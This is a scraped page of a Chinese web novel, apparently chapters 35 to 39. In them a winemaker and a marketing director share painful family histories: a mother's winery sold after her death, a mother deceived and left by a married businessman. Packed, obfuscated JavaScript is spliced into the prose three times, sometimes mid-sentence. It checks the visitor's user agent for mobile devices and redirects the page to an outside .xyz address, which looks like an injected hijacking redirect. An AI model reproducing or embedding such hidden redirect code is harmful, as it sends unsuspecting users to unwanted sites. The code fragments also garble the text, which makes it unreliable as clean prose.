d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568891|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人潮里,斯芸的首席酿酒师与他的朋友对视。杭帆漆黑的双瞳就像是两颗明亮的远星。 在那沉默却专注的柔软目光里,岳一宛露出了一个近乎心碎的微笑。 “整地,种植,调整品种。收获,酿造,陈年装瓶。所有这一切,都离不开耐心与时间,可上个世纪末的商人们,最缺乏的就是耐心与时间。” 在岳一宛出生的那年,Ines的酒庄终于竣工。可直到她的孩子捧起了小学一年级的课本,第一个年份的葡萄酒才终于完成了装瓶。 而那正是整个行业的至暗时刻。 2001年12月,多哈条约的签订标志着中国正式加入了世界贸易组织。对外贸易的繁荣,使得越来越多的进口葡萄酒被运进了中国市场,并以相对实惠的价格,风风光光地摆放进了商场与超市的货架上。 ——在鱼龙混杂且遍地假冒伪劣产品的国产葡萄酒,与象征着“有品位”与“很时髦”的进口葡萄酒之间,消费者们几乎无需多做选择。 “头几年是最糟糕的。” 在自己的舌根上,他仍然能品尝出那种苦涩的感觉。 “在那些年里,获取资讯到底也不是一件容易事。毕竟,就连那些专做酒水经销生意的商人,对葡萄酒这个东西的理解也就仅限于‘干红不甜’而已。” 岳家的老头子讨厌外国儿媳,更讨厌“有悖正统”的葡萄酒,他绝不允许Ines在酒标上使用自家黄酒厂的名字。 没有老字号品牌的名声加持,Ines在作品在市场上几乎无人问津。 “又花了好几年的时间,她的酒才终于在一小部分爱好者中打出了口碑。但我们家的酒庄实在太小了,一年也就只能产出两三千瓶葡萄酒而已。尽管每瓶酒的定价都不算低,可因为前期的投入实在太大,一直要到我十几岁的时候,酒庄才勉强算是实现了收支相抵。” “‘再过两年,我们就能开始盈利啦!’……她最后一次对我说这话,是在一个星期三的中午。” 高中二年级的春游日,仍然和那群年长他两岁的同学们相处不来的岳一宛,理所当然地缺席了这个“无聊场合”。那天早上,结伴在葡萄园散完步之后,Ines为他烤了一炉甜饼干,同时也高高兴兴地宣布了这个喜讯。 下午,她去医院拿到了病理切片的报告。 “……到头来,”岳一宛说,“我们都没有能够等到酒庄真正盈利的这一天。” “在我更小的时候,只要时间凑得上,我们全家人经常在休息日去逛当地的那几家大型糖酒商店。这一天,我妈妈一定会早早起床并盛装打扮一番,以至于我父亲都嘲笑她说,这完全就是要上天主教堂里望弥撒的架势嘛。” “她中文说得不太好,但每一个驻足在葡萄酒货架前的客人都会被她拉住,比手画脚地讲上好一会儿。她问他们喜欢葡萄酒吗,常喝吗,最喜欢哪个牌子的葡萄酒。末了,还会热情地向这些人毛遂自荐,说她自己的作品绝对值得一尝。” “大多数人都会比较礼貌地拒绝她。但也有人把她当成是商家的酒托,大声质疑说,国产葡萄酒卖这么贵就是在抢钱。” 叹了口气,斯芸的首席酿酒师又默然摇了摇头。 “这让我觉得很尴尬,真的。所以,稍微长大一点之后,我就再不愿意陪他们一起逛糖酒商店了。有一段时间,我宁愿绕远路上下学也不要经过糖酒专卖店的门口。可是,时至今日,我依然反复地梦见这个场景。” “我梦见她被人拒绝。而我只是站在原地,一句话也说不出来。” 午后的阳光自天穹之顶倾落,将路旁的绿荫切割成破裂的碎片,摇摇晃晃地泼洒在他二人的身上。 “你有过这样的体验吗,杭帆?敬爱的人在自己面前遭受羞辱,可你却什么也做不了。” “我什么也做不了。” 36.被侮辱与被损害的 “我明白。”杭帆说,“我有过。” 他其实从未想过要与岳一宛说起这事,此刻却毫不犹豫地向对方袒露出了自己的伤口,如同一种笨拙却温柔的本能。 “我小时候……我也经常面对这样的场景。” 步行街的石板路在他们脚下延伸开来,优美,平稳,似乎能通抵世上一切角落。而漫步其上的时候,杭帆却总想起自己与杭艳玲的第二个家。 那是一座设施极为老旧的小区。久未修整的路面起伏不平,一到下雨天就积出满地的泥泞与水洼。 八岁的杭帆非常讨厌下雨,因为他得很小心很小心地才能绕过全部这些大大小小的“陷阱”。而如果不巧在路上弄脏了鞋子和衣服,那个满脸疣子又成天戴着领带教导主任,就会立刻找到训斥他的理由,「你妈妈怎么连件干净衣服也不给你准备?哎哟,脏得嘞……哎哟,真是不会做妈的一个人。」 训到末尾,还要用高高在上的语气说一句:「把你妈找来!我可得好好跟她谈谈!」 “我那时候还不懂,为什么全班的学生里,只有我隔三差五就要被请家长。” 杭帆微微笑了一笑,眼梢里挑过一星鄙夷的锐光。 “但过了几年,我就慢慢明白过来了。那位男教导主任刚离异不久,正是空窗寂寞的时候。大概是听到了一些风言风语吧,又或者是因为别的原因……他可能以为,是我妈妈的话,他一定能特别容易地就得手。” 杭艳玲那会儿虽还年轻,可早不是什么懵懂天真的小姑娘了——她或许曾经是过,但现在,她已经为青春的愚蠢而支付过了代价。 第一次被教导主任叫去的时候,她当着老师的面,不轻不重地打了下杭帆的脑壳,满脸陪笑地听完了全程。 第三次,杭艳玲坐在办公室里,一边嗯嗯地应付着,一边翻看杭帆每一页都全优的作业本,末了站起身来说,对不起厂里今晚还要加班,那杭帆就先和我回家啦? 到了第六次,杭艳玲掏出了十几张空白草稿纸,刷刷签上自己的名字,然后交代杭帆:小宝,你会写请假条之类的东西吧?喏,拿去,就在空白的地方替我随便写点理由,什么加班啦,照顾老人啦,生病啦,随便你写。写好了代我交给你老师。这一沓用完了就再找我签几张。嗐,我真是不想他那张猴脸。 「你好好考,考得好了,妈妈就底气足,晓得伐?就不用上门去受他那鬼气。」 赶回家给杭帆做上晚饭,杭艳玲还要再回岗位上继续工作。她工装未脱,头发也只随手抓成一个辫子,未施脂粉的脸孔难掩疲色。 十岁的杭帆扒拉着碗里的饭,自觉有受了一千两百分的委屈:「可我门门都是满分诶!」他很是不爽地抗诉道,「而且,今天课间,在走廊上玩水枪的有十几个人呢!他怎么就光找我的茬?」 大力翻搅中,几颗饭粒都迸去了他的鼻尖上。往儿子脸上扔去两张纸巾,杭艳玲又洗了一盘水果出来。 「所以啊,小宝,既然你考得好,我还干吗要去受他的脸色?」 把一整盘挑去了蒂的水果放在杭帆手边,杭艳玲脱下围裙,重又在玄关换上了出门工作时穿的鞋:「吃完饭先写作业,听到没有?水果可以等下吃,但吃之前一定要再洗一遍手。哎还有,牛奶我买回来了,就在冰箱里,喝一杯再睡觉,记得了吧?」 杭帆只得闷闷地应声,「嗯。」 「你干吗啦你,小小年纪,怎么还学人家闹起忧郁来了。」杭艳玲站在门边问他,「怎么啦?我明天不去学校,你害怕被老师说啊?」 「……我是怕老师说你!」小朋友不忿地咬起了筷子,「他说话好难听的!我们背后都在偷偷骂他,说他嘴里吃过屎。」 杭艳玲笑得花枝乱颤,但还是拿出大人的语气说教道:「哎哎,杭帆,我怎么教你的来着?不许说脏话,更不许学别人说脏话!」 「再说了,老师要是在背后批评妈妈几句,你就让他批评着呗。反正我又听不见。」 好像很没所谓似的,她用力耸了耸肩,又从钱包里拿出一张十元纸钞放在鞋柜顶上:「给你的零花钱,放这里了哦。省着点花,别吃太多零食。要买作业本的话再跟我说。走了啊,你记得别给陌生人开门!」 门砰得一声关上了。 杭帆捧着碗,胃里沉得像是装进了石头。 可是,妈妈。他想。那些你听不见的东西,我都能听见啊。 每一句针对你的,那些不怀好意的恶言与蔑语,都让我感到被刀剐开皮肉般的痛楚。 岳一宛“恶”了一声,“这老师也太恶心了。”在这种事情上,他显然是忍不了一点:“这要是换我,非得给他鼻子都打断不可!” 从网红烘焙店里走出来,杭帆往这人手里塞进一只三明治。胖胖的两片黑芝麻吐司对半切开,中间填满了甜甜的奶油与血糯米。 “那就会给我妈带来不必要的麻烦。”小杭总监语气淡淡。兴许是在很多年之前,他就已经学会去做一个竭力克制自己,不要给亲爱的人们带去麻烦的“乖小孩”了。 “我是非婚生子,”他说,“她一个人抚养我很不容易。我不能再给她找更多的麻烦了。” 他们坐在路边的露天咖啡桌旁,冰美式的清苦味道,恰如童年里每一个不能开口诉说的夜晚。 杭帆咬了一口手中的碱水结面包,反复咀嚼再三,才终于又开口道。 “我生物学上的父亲,他并不是我妈妈的丈夫。我妈妈,她……是所谓的‘外室’。” 九十年代初,下海经商的浪潮席卷了整个国家。乘着时代的劈山巨浪,第一批勇于吃螃蟹的人腰包渐丰,也因充分的饱暖而渐渐思起了□□。 杭帆的父亲是广东人,改革开放初期,靠“走水”赚到了第一桶金。 “就是搞走私。”杭帆说,“刚开放的那段时间,他是做倒卖衣服起家的。每天天不亮就进到香港,批发一些所谓的‘时新靓衫’,塞进几个大行李包里带过海关挂进店铺,不到中午就会被一抢而空。” 对于这位“生物学意义上的父亲”,或许也就只有这颗商业头脑能够到杭帆的认可。 在赚到第一桶金之后,合伙人想的是扩大走私规模,或者干脆做成一家搞正规进口的贸易公司——但杭帆的父亲却决定要和内地纺织厂合资。 同样一笔资金,从香港买衣服,那才能买多少件?但若是和物美价廉的国有纺织厂联手,能制造出的衣服件数,可是香港货的数倍甚至十数倍! “通过这种方式,他赚到了很多钱。而且,由于商品抢手,实在是供不应求,他们还马不停蹄地建立了分厂。” 1991年,为视察分厂的工作,这名老练的商人来了华东沿海的一座小城。由于纺织工业是当地重要的产业,他受到了热情的款待。 为表重视,分厂的厂长与主管们一连为此办了好几场欢迎会。他们甚至还让厂里的年轻女工们组建起了一支模特队,为这位来自广东的大老板表演了一场时装秀,以期能博贵人一笑。 高规格的招待,确实让这位贵人感到非常愉快。更何况,在这些时装秀模特儿的队列里,他还看见了杭艳玲。 那年,杭艳玲还没满二十岁。正是花一样娇艳又单纯的年纪。 他是以恋爱的名义接近她的。 身为一个富有、英俊且社会阅历丰富的年长男人,要讨一个不谙世事的小女孩儿欢心,简直易如反掌。 他开车来工厂门口接她下班,后备箱里捧出一双水晶高跟鞋。在工友们的瞩目下,他单膝跪地为她换上新鞋,又变魔术般掏出一支红艳艳的玫瑰花。 他带她去当地最高级的西餐厅吃饭,手把手地教她如何用刀叉,让她点酒单上最贵的香槟,分别前又送她一只英国进口的熊娃娃。 他约她去新开的咖啡馆喝下午茶,轻声细语地解释Cappuccino在意大利语里的含义,在梧桐树下给她读华兹华斯诗集,还亲手为她戴上从日本带回来的珍珠耳环。 没有人能够抵挡住这样的攻势。何况是偷偷在枕头底下藏着亦舒与琼瑶的杭艳玲。 只用了短短一周时间,杭艳玲就彻底为他而沦陷。她以为这是梦想照进现实的时刻,在光十色的花花世界里,她也终于拿到了试镜女主角的号码牌。 “嗯……” 搓了搓胳膊上的鸡皮疙瘩,岳一宛表示自己甘拜下风。 “你爸这个人,还挺爱演的。”他实话实说道,“哎不过,九十年代初……开的是瓶什么香槟啊?快快说来,让我好好批判一下!” 掰下半块水果挞,杭帆手起刀落,快狠准地将之塞进此人嘴里。 “他不是我爸。” 杭总监冷声宣布:“而且我也不在乎那是瓶什么香槟——最好永远都别让我知道!” 幻梦的泡沫是从同居开始渐渐破碎的。 她搬进他在当地的家里——她父母不同意这桩“自由恋爱”的事体,母亲大骂她不要脸,父亲抄起锅铲就往她身上抽。但杭艳玲一点也不退缩,她偷偷收拾了自己几件衣服和身份证,半夜三更从窗户里翻了出去——四室两厅,窗明几净,崭新又敞亮,是她想象中完美的“家”的样子。 那一天,她是真的以为,自己从此就会过上童话里公主那样的生活。再不用听父母吵架,再 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杭帆苦笑,“哪个小孩能想得到呢?别人的爸妈是恩爱夫妻,而自己的爸妈却是别人口中所谓‘轧姘头’的‘狗男女’。” “他们刚在一起的时候,他总时不时就给她一点零花钱。每次一两百块,最多不超过三百。” 三百块,在当时是公务员一个月的薪水。 可年轻的杭艳玲从未想过,对于一个坐拥千万身家的商人而言,三张百元大钞与三个钢镚或许也并没有很大区别。 “我出生之后,物价涨得很快,但他给妈妈的‘零花钱’并没有变多,甚至于几个月才想起来给一次。” 五岁那年,杭帆因为肺炎住院治疗,而他们家的大公寓也已经有两个月没交租了,光靠杭艳玲自己在厂里的那点工资根本周转不开。 商人身在外地,她打电话过去找他要钱,却被大骂了一顿,说这一切都怪她既不会持家也不会带孩子。 等到杭帆病愈出院,她才发现这个男人原来早有发妻,俩人间不仅有一个比杭帆略微年长的儿子,还有过一个在襁褓中就莫名夭折的女儿。 这一切到底是从什么时候开始的?玫瑰花凋谢枯萎,水晶鞋变廉价凉拖,连耳环都是珠光漆涂上塑料外壳。 世事一场大梦,原来从头是空。 “我知道,”杭帆说,“我妈妈自以为浪漫的‘爱情’生涯,一定也对另一位女士造成了深深的伤害。” “可她是我的妈妈。我没有办法去指责她……况且,在我眼里,被人欺骗与利用的她,分明也是受害者,本也同样应该得到旁人的怜悯,不是吗?” 下意识地,杭帆用食指与中指交替敲击着桌面。 很多年之前,在杭艳玲跪下来求那个男人不要离开之后的某一天,他矮身藏在窗户下面,听楼道外的邻居们用讲述禁忌艳情故事般的兴奋语气互相转述着那天的情形时,八岁的杭帆也无意识地做出了同样的动作。 痛苦地,焦虑地,刻板地,年幼的杭帆用自己指头敲击着面前的那堵墙。 他不想听见这些。他的身体试图通过一些机械的动作来转移大脑的注意力。 可他却没法堵住自己的耳朵。就像动脉破裂的伤患,无法自行堵住那血涌如注的伤口一样。 而那些人越说越离谱,措辞也愈发出格下流,从桃色新闻一路演变成下三路的黄色段子。 年幼的杭帆感觉到胸口有火焰在烧。饱胀的痛苦令他像是一个失控的热气球,随时随地都能炸裂成千万个破片。 他想逃走,想躲回自己的家里去。一抬头,却看见杭艳玲正站在厨房里流泪。 站在曾无数次为“丈夫”和儿子做饭的灶台前,污秽言语像绕着腐肉飞舞苍蝇般,洋洋自得地从窗外飞涌而入。她无声地颤抖着,在这一记记如耳光般响亮的羞辱声里,眼泪像漏水的闸门一样汹涌地滚落下来。 八岁的杭帆夺门而出。 如同一头受伤后又被激怒的凶猛野兽,他狠狠撞上了正满嘴脏字的大爷。 大爷说得起兴,冷不防被这小子突然推搡在地,还不及痛骂出声,就已嗷得一声惨叫起来。 死死地咬住了这人的胳膊,杭帆双目赤红,拳打脚踢着要上前拉拦的大人们拼命。 「我让你们说我妈妈——我让你们说我妈妈的坏话!」 “所以,我明白你的感受。” 伸出手去,杭帆拍了拍岳一宛的胳膊,“我完全能够理解。” 他的动作很轻,仿佛隔空描摹过一个形状熟悉的伤口。 37.付出一切 垂下视线的岳一宛,虚虚地捉住了杭帆搭在自己胳膊上的手。 成都已是春回水暖的季节,但他掌心里捏着的这只手却仍旧冰凉,像是还没从冬天里彻底走出来一样。 似乎是在这动作里察觉到了一些奇怪的气氛,杭总监清了下嗓子,“岳大师,”他说,“能否请您高抬贵手——” “现在想来,当时的我……或许不应该为她而感到羞耻的。”岳一宛突然再度开口道。 回忆的浅滩里遍布着遗憾与悔恨的礁石,总令巡游之人精疲力竭。 可这一次,手心里传来的微凉温度,像是一个温柔却坚实的锚点,支撑着他前往愁思汪洋的最深处。 无论初始的动机为何,商人投资酒庄,最终目的还是为了赚钱。Ines很早就明白了这一点,即便这个商人是她自己的丈夫。 “酒庄的存续依赖于金钱,而非是理想。她大概比任何人都更加清楚这一点。” 与其说是伤感,酿酒师的神色里似乎有更多的空茫。 “除了在商店里直接招徕客人,她当然也尝试过其他打开销路的方式。比如在杂志上投放广告,甚至接受了不少时尚类生活杂志的访谈。” 广告页里,一道流水似的丝绸饰带,慵懒又松垮地环绕在斜倚桌角的酒瓶身上。而手段高明的打光技术,则把圆润的瓶肩照成了一截引人遐想的暧昧曲线。 十四岁的岳一宛隐约觉得这构图略有古怪,但他最在乎的还是,「那根破带子都快挡住酒标了!」餐桌边的父亲闻言哈哈大笑起来,而Ines却像是有些难为情似的,把广告海报的打样页给收进了书柜的最底下。 而在那些所谓的“女企业家”访谈里,人们似乎总把重点更多地放在了她的美貌上。 那些五颜六色的裙装只会让你显得很幼稚,造型师强硬地说着,给她套上了一身黑银色的香奈儿花呢套装。酿葡萄酒这件事会耽误你的育儿生活吗?对于你的事业,你丈夫是怎么看的?采访人目不转睛地盯着她的脸,对放在手边的半杯红酒置若罔闻。 “但这些,最终都没有起到什么明显效果。” 尽管岳一宛竭力做出了掩饰,但这份陈年的痛楚,却依旧在他的嗓音里缭绕不去。 “她病重的时候,有公司想来收购葡萄园所在地块的使用权,连同附近一起开发成山林度假风景区。” 面对病床上时日无多的妻子,岳一宛的父亲理所当然地没有将这个消息告诉她。他低调地与对方在暗中接触了几回,最终得到了一个大致的估价。 “那不是一个很高的价格。”酿酒师说,“用来买断她毕生的心血,这个价格甚至低得有些羞辱人了。” 但对于迟迟没能从酒庄身上收获利益的商人而言,这不失为是将负资产脱手的最好时机。 那一年的夏天,岳一宛从阿根廷回到中国。落地不到一小时,噩耗就已劈面而来:酒庄撤建,且葡萄园地块易主,交易将于当年第四季度前完成。 父亲不在家,秘书说他是去美国临时出差。这个胆小鬼甚至没有直面自己儿子的愤怒的勇气。 岳一宛让司机把车开向了老宅。他踉跄地从车上下来,一脚踹开雕花木门,见血疯牛似的直直冲进了岳老爷子的书斋里。 「是你卖了我妈妈的酒庄?!」他与这个老东西当面对质,「可她都死了,她都死了啊!!你是要有多恨她,才连她的酒庄也不能放过?!」 正在书斋里临帖的岳老爷子被他吓了一跳,听是酒庄的事,脸上立刻又露出几分不屑来。 「你在胡说什么?」他满腹不悦,抬手驱赶这小赤佬,像是呵斥一条行为僭越的宠物狗:「我恨自己的儿媳妇?招笑!」 捧着茶水的保姆阿姨站在门边,进退两难。岳一宛却是连礼仪也顾不得了。 他一拳锤上桌案,震得满桌的笔墨纸砚都锵啷作响:「要不是你向我爸施压,他能有这么快就卖掉我妈的酒庄!?他明明跟我说过,这件事要等我回来再做商量的!」 「哎哟,轻点!你这败家子!那可是端砚,乾隆爷用过的!」 抢救式地捧起了自己收藏品,岳老爷子的心痛之意溢于言表。可对于酒庄,他的兴趣却不比对路边的一条癞皮狗更大。 「商量,和你?呵。」 嗤笑一声,老头子拾起桌边的拐杖,重重往地上一敲,道:「我看国强那小子也是被你妈的葡萄酒灌得昏了头了!」 「我问你,岳一宛,你当自己是什么人呐?是岳氏的董事会,还是公司的总经理?岳氏产业,买进卖出,凭什么要和你这黄毛小子打商量?」 这一问,竟把气血上头的少年人噎停在了原地。 「……可我是她的儿子。」 好半天之后,岳一宛才终于找回了自己沙哑的声音。他自觉喉头钝痛,恍似有刀在割:「处置她的遗物之前,难道不应该问过我吗?」 岳老爷子看着他,像最不耐烦的老师看向一个总教不会的差生。 「这个年纪了,难道还没有人教过你?」他的口吻已然称得上是轻蔑了,「国强买给你妈的房子,珠宝,那才是她的遗产。至于那个什么葡萄酒庄,那是属于整个岳氏的产业,不是你妈和你的私产!」 他似乎是并不知晓,除了结婚时那枚镶嵌了钻石的铂金戒指外,Ines并没有其他的贵重首饰。 比起闪耀的珠宝,她更喜欢那些来自世界各地不同产区的葡萄酒。而为了不让她在人世上留下更多的遗憾,这些美妙的酒大多都已在她的病床前被开封,与前来探病的亲朋们分享一空。 除了这家小小的酒庄,这世上已再没有什么东西,能够如此直接而深刻地纪念她曾来世间走过一遭。 「归根结底,还是她做的酒不够争气的缘故!」 用拐杖咚咚地敲打着地板,岳老爷子的嗓门儿比桌上那台收音机还响亮:「我就是看不上这些外国的玩意儿!什么东西,磨洋工似的,一整年只做三千瓶,这样也能做得成生意?我呸!本来就没几瓶能卖,还要不停地送去参加这个比赛那个竞赛,最后也没见她拿一个满分评级回来!哼,真是不够给我老岳家丢人现眼的!」 「我告诉你岳一宛,别以为你爹兜里有几个臭钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568893|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你和你妈就可以无穷无尽地‘作’下去!」他说,「在岳氏,我这个总经理的话就是圣旨!卖不好的酒,就给我马上从生产线上滚下去。赚不到钱的员工,就给我立刻卷铺盖走人!」 「怎么,小子,你以为你是岳国强的儿子,这就很了不起吗?」 抄起他的蟠龙拐杖,老头子骂骂咧咧地就要往岳一宛身上打:「我告诉你!没有我这个爷爷,就没有你那老子爹!没有你爹,今天哪儿来的你!」 土皇帝做得久了,他忘了一个再显然不过的事实:一个年满十六岁的少年人,力量与敏捷都远胜于他这拄拐的耄耋老者。 只是反手一擎,岳一宛就已攥住了拐棍末端。 他面无表情地将胳膊向后一撤,把老头跌跌撞撞地向前拖行两步看,差点没摔出一个大跟头来。 「你、你……!」 从没想过会被小辈忤逆的岳老爷子猛然瞪大了眼睛。好半晌之后,他才终于撂下了最后一句狠话:「你别忘了,小子。岳国强虽只得你这一个独苗,但我的儿子可不止他一个!」 “他真是个混账。”杭帆喃喃道,“世界上怎么还会生出这种款式的混蛋的?” “他确实是个混账。”岳一宛深表赞同,“全家人都这么觉得,除了他自己。” 任由自己的手指被岳大师捏来捏去,杭总监问:“他没有因为你跑去顶撞了他,就真的转头去为难你父亲吧?” 岳一宛大笑出声。 “他倒是想呢!”他幸灾乐祸地表示道:“只可惜他的好大儿是他亲自教出来的,青出于蓝胜于蓝啊!” “我父亲那个人,在生意场上比老头子本人还精明。就算是聊斋里的狐狸修成了仙,见到他都得仰头叫一声祖师爷。” 岳大师语气不善,显然对父亲卖掉了家中酒庄一事仍然深怀芥蒂。 “老头子从民国末一直活到新世纪,脑子里还是只有‘君君臣臣父父子子’的那一套过时东西。但只有一点,他没说错:归根结底,葡萄酒是一种商品,而运营酒庄则是一门生意。在生意的世界里,优胜劣汰,是再自然不过的法则。” 涩然地弯了下嘴角,岳一宛道:“我妈妈……她是很有天分的酿酒师,但她的酒庄却并非是最好的酒庄。当然,这不是因为她不够好,而是因为一些客观存在的困难。” “可生意就是生意。当它用失败的巨锤碾压向你头顶的时候,它不在乎你的困难是什么。” “我常常会想,”他说,“既然各种形式的广告都没有能够拯救她的酒庄……当初要是能有一款绝对优秀的、完美到接近于压倒性胜利的酒,在比赛上拿到的分数是不是就会更高一点,销量是不是也就能更好一些?” “如果有这样的一款酒,或许她的酒庄当时就能够被留存下来。” 斯芸的首席酿酒师曲起五指,将杭帆的指尖轻轻握在掌心里,如同握住那个身在遥远时空另一端的少年。 “既然身为酿酒师,就要做最好、最完美的酒。我可以为此而付出一切。” “——只要能让酒庄长久地伫立在它的土地上。” 38.请相信我 那只是一个转瞬即逝的瞬间。 但就是在这电光火石的一刹,杭帆明白了许多原委,尤其是岳一宛不愿以酿酒师身份参与营销的原因。 “是的。”斯芸的首席平静地说,“因为在她身上,我反复见到过那样的失望。” “当人们把注意力过多地放在你脸上的时候,无论什么样的心血之作,最后都只会沦落为‘外貌’的附属。” Ines的照片像超模代言人一样被印在海报上,而她的酒却被以隐晦而挑逗的手法拍摄。 “冲着那些广告而来的客人,他们买的是葡萄酒吗?不。他们购买的是一种低俗的幻想。” 在这条绿意盎然的街巷里,美貌惊人的青年男女们,正在街拍镜头前摆出或纯真或性感的造型。披着印满logo的围巾,挽着价格昂贵的手袋,“金钱”与“奢华”的概念,立刻都具现成了一张张诱人的脸孔。 身为罗彻斯特的员工,这是杭帆已经司空见惯了的场景。 “说来可笑,”岳一宛道,“但我经常希望,购买‘斯芸’与‘兰陵琥珀’的客人们,不是为了虚荣才喝我酿的酒。” “但仔细想来,这又何尝不是一种自作多情呢?一瓶标价数千上万元的酒,酿酒师希望喝它的人不抱有怀抱虚荣——这简直就像是娶了美女做新娘的人,言之凿凿地声称自己不知道妻子长得美一样,自欺欺人罢了。” 树影从这张英俊的脸孔上拂过,留下新榨单宁般涩重的神情。 “可是,即便这只是一种荒诞可笑的愚人之梦,我也想……” 他没有再说下去。 而杭帆反手握住了他的五指。 “这不可笑。” 杭帆说道。有些急切,却又无比郑重地,他对岳一宛说:“我认为这不可笑,也不荒诞。这是个了不起的理想。” “诗人想让自己作品被人传唱有什么不对?酿酒师想用葡萄酒来决胜负有什么不对?这不就和奥运会不是选美赛场一样的道理吗?” 紧紧地攥住了对方的手,小杭总监的眼睛里有熠熠星光闪动。 “岳一宛,我想要你梦想成真。” 不管事后的自己是否会因为这段突兀发言而后悔羞耻到舌头打结,在这一刻,望着岳一宛寥落的侧脸,杭帆心中骤然而生出一种强烈的渴望:他想要帮助这个人去实现梦想。 不是为了季度报表里的KPI,也不是为了打进账户里的工资。 只是为了岳一宛,和那些为岳一宛所挚爱的葡萄酒。 “我知道你不喜欢营销。”每当大脑飞快转动的时候,即便加快语速,杭帆也常觉自己的嘴跟不上那飞驰向前的脑:“但营销与营销亦有不同,不是吗?任何形式的宣传与推广,它的侧重点要落在何处,这是可以由人来选择的。” “‘好风凭借力,送我上青云’——我以为,好的营销工作,就是成为别人翅膀下的风,将有价值的事物送上它们应得的舞台,并将它们擦拭得更加闪亮。” “我有些新的想法,虽然还需要被重新验证一下但是,啊没关系这些可以都留到后面再讲——我是说,就连《清明上河图》这样的古画里,店家也会挂出酒旗来帮助揽客,此道古来有之。酒香也怕巷子深,对吧?就算是不世的天才艺术家,想要让自己的作品广为人知,也需要在九十九分的努力之外再加上一分运气。” 我到底在说些什么啊!司掌理智的那部分在杭总监的心底尖叫。 可在当下的这一刻,想要将这滚烫诚意立刻就交付进岳一宛手里的迫切,终究还是占据了上风。 像是灵魂被火焰点燃,又像是跃动的心脏想要跳出胸腔,他说。 “我来做你那百分之一的运气。” “请相信我。” 这一次,岳一宛没有犹豫地点了头。 “好。” 斯芸的首席酿酒师眼睛弯弯,他执起杭帆的手,郑重地放在了自己的胸口。 “我相信你。” 汹涌的情感,如江潮奔浪般袭来,将杭帆彻底吞没于其中。而他甘之如饴,像是生来就在等待着这个时刻的发生。 他觉得自己将永远记得这一刻,记得自己重新燃起对这份工作的热情,发自真心地期冀能够帮助到他人实现梦想的这一刻。 稳定了自己的声音之后,杭总监重新开口,试图厘清自己骤然迸发的灵感,顺便也向岳大师解说一下自己的计划。 却不料这人抓起了他的胳膊,施施然从咖啡桌边站起了身,道:“下班时间到!杭总监,难得出门一趟,我们去玩吧!” 杭帆:“……哈?” “等下,我们现在不应该回糖酒会的会场吗?” 作为一头社畜,小杭总监的自我管理能力实在令人望尘莫及:“春糖酒店展的葡萄酒分会场不是说有三个?凯宾斯基和万达瑞华那两个会场我们不去了吗?” 而他的便宜师父脸不红心不跳,显然对出差途中半路溜号这事没有任何一丝愧疚之心。 “明天还有大会展呢,省着点儿体力吧杭总监。”岳一宛做事总是不缺歪理,哪怕是翘班都能翘得理直气壮:“再说,你今天已经喝过多少支酒了?再喝下去,你尝得出味儿吗?工作这种事情,劳逸结合,才方为长久之道嘛!” 大为疑惑地,小杭总监打量了这人一眼。 “我确实是再多一口也喝不了,”他说,“但岳大师您看起来……再大战它个二三十回合,恐怕也不成问题吧?” “哎,为师此举,自然有为师的道理。”岳大师坦荡回曰,“只是爱徒你修为尚浅,一时无法堪破其中的真意罢了。” 杭帆:“……?” 于是,在岳一宛的带头怂恿下,两人慢慢悠悠地沿着街道继续逛了下去。 在书店,杭帆买到两本海外发行的摄影杂志,一转头就见岳一宛正在满架子的黑胶唱片前流连忘返。 “什么年代了,你还听唱片?”杭总监大感震撼,“网易云音乐都已经不能满足您老的挑剔口味了吗?” 抱着唱片的岳大师比他更震惊,仿佛是狂信徒在捍卫他的原教旨典籍:“说的什么话!这两者的音质完全不一样的好吧?” 商业街上,杭帆顺手买了几只蜀绣熊猫的冰箱贴,小巧可爱,包装精美,正好带回去给酒庄里的各位同事们做伴手礼。而在巡视周游了全场之后,岳一宛终于按捺不住他的问题。 “你说,人为什么会喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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愉快地挼着手底下的毛绒面料,杭帆感觉自己就像是从战场退役回来的老兵,正躺在自家沙发上,心态平和地摸着乖巧可爱的精神抚慰犬。在这个仍旧需要打开电脑进行“自愿加班”的晚上,半夜拉磨的小杭总监难得地生出没有不爽情绪——他感到平静,祥和,甚至可以默默地再加上个两百小时的班。 在这份平静的心情中,杭帆在电脑上打开了企业微信,十分平静地看着眼前一口气弹出了几十个对话框。 最上面的一条来自许东,头像是他油头粉脸的美颜自拍:“杭总监,咱们有空一定多聚聚啊,圈内人嘛,就该互相多走动走动不是?” 杭总监平静地深吸了一口气,无比平静地决定把这人的消息压到明天的工作时间再回。 点开联系人里的总部同事分组,杭帆找到了那个熟悉的红色蝴蝶结头像。只是他还没来得及戳开,对方自己就已经心急火燎地跳了出来。 “杭老师!!救救我们!!” 企业微信的另一端,杭帆一手带出来的实习生发来一个大哭的表情包。 “救命啊!救救!Harris又在发癫啦!呜呜!” 39.杭总监 “杭老师——!!” 前脚刚踏进会场的小杭总监,后脚就被弹射而至的小姑娘给撞了个满怀。 “杭老师,快救救我呀!这次Harris是真的疯了,呜呜呜!!” 